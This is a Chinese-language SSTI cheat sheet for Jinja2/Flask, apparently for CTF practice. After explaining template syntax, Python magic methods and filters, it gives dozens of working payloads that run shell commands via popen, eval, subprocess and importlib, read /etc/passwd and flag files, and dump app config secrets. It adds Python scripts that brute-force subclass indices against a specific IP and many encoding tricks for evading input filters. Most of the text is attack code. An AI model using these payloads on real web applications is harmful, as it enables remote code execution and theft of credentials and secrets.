1.基于jinjia2的flask模板注入、
语法
变量块 {{}} 用于将表达式打印到模板输出 例如{{7*7}}最后会打印49,常用来判断是否存在模板注入
注释块 {##} 注释
控制块 {%%} 可以声明变量,也可以执行语句
声明变量:{% set a=None%}
执行语句:{% for a in range(10)}{%endfor%} //循环
{%if 2>1%}1{%endif%} //若判断成功,则会回显中间的1
{% print(1) %} //直接输出
魔术方法
魔法方式(Magic methods)是python的内置函数,一般以双下划线开头和结尾,比如__add__,__new__等。每个魔法方法都有对应的一个内置函数或者运算符。当我们个对象使用这些方法时,相当于对这个对象的这类方法进行重写(如运算符重载)。魔法方法的存在是对类或函数进行了提炼,供python解释器直接调用。当使用len(obj)时,实际上调用的就是obj.__len__方法,其它同理。
__class__ :类的一个内置属性,查看实例对象的类。
__base__ :类型对象的直接基类
__bases__ :类型对象的全部基类(直接父类),以元组形式(只有一个元素),类型的实例通常没有属性 __bases__
__mro__ :可以用来获取一个类的调用顺序,元组形式,返回如(<class 'str'>, <class 'object'>)。__mro__[1]就是object
------------------------------------------------------------
__subclasses__():返回这个类的所有子类,列表形式。
__builtins__:内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。
__init__:初始化类,返回的类型是function,可以用来跳到__globals__。
__globals__:会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。
__import__:动态加载类和函数,也就是导入模块,经常用于导入os模块,语法:__import__(模块名)。如:__import__('os').popen('ls').read()
------------------------------------------------------------
__dic__ :类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__():实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__():调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__add__():
冷门方法
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值
dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
其中python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。
[].__class__:列表
''.__class__ :字符串
().__class__ :元组
{}.__class__:字典
过滤器
变量可以通过过滤器修改。过滤器与变量之间用管道符号 | 隔开,括号中可以有可选参数。可以链接多
个过滤器。一个过滤器的输出应用于下一个过滤器。
例如,{{ name|striptags|title }} 将删除变量名中的所有HTML标记,并将title大小写为输出(title(striptags(name)))。
int():将值转换为整数类型;
float():将值转换为浮点数类型;
lower():将字符串转换为小写形式;
upper():将字符串转换为大写形式;
title():将字符串中每个单词的首字母转换为大写;
capitalize():将字符串的第一个字母转换为大写,其他字母转换为小写;
strip():删除字符串开头和结尾的空白字符;
wordcount():计算字符串中的单词数量;
reverse():反转字符串;
replace():替换字符串中的指定子串;
truncate():截取字符串的指定长度;
striptags():删除字符串中的所有HTML标签;
escape()或e:转义字符串中的特殊字符;
safe():禁用HTML转义;
list():将字符串转换为列表;
string():将其他类型的值转换为字符串;
join():将序列中的元素拼接成字符串;
abs():返回数值的绝对值;
first():返回序列的第一个元素;
last():返回序列的最后一个元素;
format():格式化字符串;
length():返回字符串的长度;
sum():返回列表中所有数值的和;
sort():排序列表中的元素;
default():在变量没有值的情况下使用默认值。
strip():删除字符串开头和结尾的指定字符,默认删除空白字符。
startswith(prefix):判断字符串是否以指定前缀开头。
endswith(suffix):判断字符串是否以指定后缀结尾。
isalpha():判断字符串是否只包含字母字符。
isdigit():判断字符串是否只包含数字字符。
isalnum():判断字符串是否只包含字母和数字字符。
isspace():判断字符串是否只包含空白字符。
split(separator):将字符串按指定分隔符分割成列表。
join(iterable):使用指定字符连接序列中的元素。
count(substring):统计字符串中子串出现的次数。
find(substring):查找子串第一次出现的位置,若不存在则返回-1。
replace(old, new):替换字符串中的指定子串。
islower():判断字符串是否全为小写字母。
isupper():判断字符串是否全为大写字母。
isdigit():判断字符串是否只包含数字。
isnumeric():判断字符串是否只包含数字字符。
isdecimal():判断字符串是否只包含十进制数字字符。
isidentifier():判断字符串是否是合法的标识符。
isprintable():判断字符串是否只包含可打印字符。
encode(encoding):使用指定的编码对字符串进行编码。
decode(encoding):使用指定的编码对字符串进行解码。
详细讲讲其中较常用的几种的使用方法
1.attr
用于获取变量,""|attr("__class__")相当于"".__class__
__subclasses__()[132]相当于__subclasses__()|attr(132)
这里多提一嘴,attr是用来获取变量的,不能获取列表、字典之类的的索引,例如
.__globals__['__builtins__']不能写成.__globals__.|attr('__builtins__'),如果想要获取索引,就需要使用__getitem__魔术方法
2.format
格式化字符串
用法:{ "%s, %s!"|format(greeting, name) }}
例子:
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)] //等价于__class__
3.first last random
返回第一、最后、随机的一个值,可以利用random写脚本来得到我们想要的值
4.join
join 过滤器可以将列表、元组或字符串的元素连接成一个字符串
{{ [1, 2, 3]|join('|') }}
-> 1|2|3
{{ [1, 2, 3]|join }}
-> 123
{{re=dict(reque=1,st=1)|join}}
->re==request
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]相当于""["__class__"]
5.replace reverse
"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"
6.string
转换为字符串
().__class__ 出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<
7.select unique
用于配合string取到更多的字符
()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>
8.length,count
获得长度
{% set cc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|length)%}
从而cc=2,cccc=4
执行命令的六种基本方式
内建函数 eval 执行命令
os 模块执行命令
popen 函数执行命令
importlib 类执行命令
linecache 函数执行命令
subprocess.Popen 类执行命令
1.内建函数 eval 执行命令
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):
url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
res = requests.get(url=url, headers=headers)
if 'eval' in res.text:
print(i)
payload1:
{{[].__class__.__base__.__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
payload2:
?name={{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
[].__class__:获得列表的类
.__base__:获得object基类
.__subclasses__()[58]:获得所有子类,即获得所有object的子类,根据上述查找的脚本,第58号存在eval函数
.__init__:实例化第58号类
.__globals__['__builtins__']['eval']:查获取该类的全局变量,得到其中的builtins,取其中的eval函数(一个实现细节,大多数模块都将名称__builtins__作为其全局变量的一部分提供)
('__import__("os").popen("ls").read()'):导入os模块,调用其中的popen命令来执行命令。
2.os 模块执行命令
Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):
url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'os.py' in res.text:
print(i)
?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
也可以通过config,url_for等调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__.os.popen('whoami').read()}}
3.popen 函数执行命令
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
4.importlib 类执行命令
Python 中存在 <class '_frozen_importlib.BuiltinImporter'> 类,目的就是提供 Python 中 import 语句的实现(以及 __import__ 函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):
url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if '_frozen_importlib.BuiltinImporter' in res.text:
print(i)
payload:
{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
也可以搜索__import__函数来导入os模块
payload:
payload:{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}
5.linecache 函数执行命令
inecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):
url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'linecache' in res.text:
print(i)
payload={{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
6.subprocess.Popen 类执行命令
从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess意在替代其他几个老的模块或者函数,比如:os.system,os.popen等函数。
python脚本查找subprocess.Popen:
import requests
url = input('请输入URL链接:')
for i in range(500):
data = {"name":
"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
if response.status_code == 200:
if 'subprocess.Popen' in response.text:
print(i)
except:
pass
{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
"""
[] 创建一个空列表。
''.__class__ 返回空字符串字符串类型的类,也就是 str 类。
str.__base__ 返回 str 基类对象。
str.__base__.__subclasses__() 将返回所有从 str 基类继承而来的子类列表。
[200] 表示选择该列表中的第 201 个子类,因为在 Python 中,许多内置或到处的库(如 os、sys 等)都是基于类实现的,并且继承关系可能会随着版本更新而变化。
调用所选类的初始化方法,并传递给它要执行的系统命令和参数。请注意,这里将参数传递给 shell=True 会让命令在 shell 环境下运行,这可以使用户更容易地传递一些组合命令。
communicate() 方法发起与执行命令的子进程的双向通信,并等待命令完成。我们调用此方法以获取命令输出和错误结果。
communicate()[0] 返回命令输出,因为在这个例子中无需关心可能存在的错误结果。
strip() 去除输出的最前面之后的空白字符。
"""
补充:
config_app
其中包含应用程序的所有配置值.在大多数情况下,这包括敏感值,例如数据库连接字符串,第三方服务的凭证,SECRET_KEY等。
例如:
url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
绕过
绕过单双引号
1.通过python内置对象request传递参数
{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os
request.args.a会获取get请求中的参数a的值,上式等价于
{{ config.__class__.__init__.__globals__[‘os’] }}
类似还有:
request.values.a可以获取get和post请求中参数的值
request.cookies.a可以获取cookie中参数a的值
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data.x1 post传参 (Content-Type:a/b)
request.json.x1 post传json (Content-Type: application/json)
2.chr函数绕过
因为我们没法直接使用chr函数,所以需要通过__builtins__
找到他
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
还有一种是利用chr进行字符串拼接。可以输入config.str()拿到很长的字符串,再控制下标索引提取想要的字符进行拼接。比如构造os字符串。url_for.globals[(config.str()[2])%2b(config.str()[42])] 其实中括号内就等价于[‘os’] (本地执行的时候有问题,留待日后)
过滤 .
1.除了标准的python语法使用点(.)
外,还可以使用中括号([])
来访问变量的属性。
{{"".__class__}}
{{""['__classs__']}}
2.__getitem__绕过
调用字典中的键值,其本质其实是调用了魔术方法__getitem__,因此
__subclasses__()[132]等价于__subclasses__().__geiitem__(132)
过滤_
|attr()
+request对象
绕过对下划线的过滤
""|attr("__class__")相当于"".__class__
因此可以用""|attr(request.args.a)&a=__class__绕过
过滤{{
用{%print(......)%}
绕过
{%print((lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read())%}
过滤关键字
0.使用__add__魔术方法:str1.__add__(str2)
1.使用切片将逆置的关键字顺序输出,进而达到绕过。
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
2.利用"+",""进行字符串拼接,绕过关键字过滤。
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}
{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}
3.join拼接
利用join()函数来绕过关键字过滤,和使用+号连接大差不差。
{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
4.使用str原生函数replace替换
将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
5.ascii转换
将每一个字符都转换为ascii值后再拼接在一起。
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
16进制编码绕过
我们可以利用对关键字编码的方法,绕过关键字过滤,例如用16进制编码绕过:
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}
base64编码
对于python2的话,还可以利用base64进行绕过,对于python3没有decode方法,所以不能使用该方法进行绕过。
"__class__"==("X19jbGFzc19f").decode("base64")
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
unicode编码
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()
Hex编码
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
8进制编码
{{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}}
可见,对于这些编码进行绕过,就是将是字符串的关键字进行编码,然后进行对应解码即可,rot13等其他编码也是同理。
利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__
找到他
"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr (x为任意值)
在jinja2可以使用~进行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
绕过init
可以用__enter__
或__exit__
替代
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
绕过config
过滤了config,直接用self.dict就能找到里面的config
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}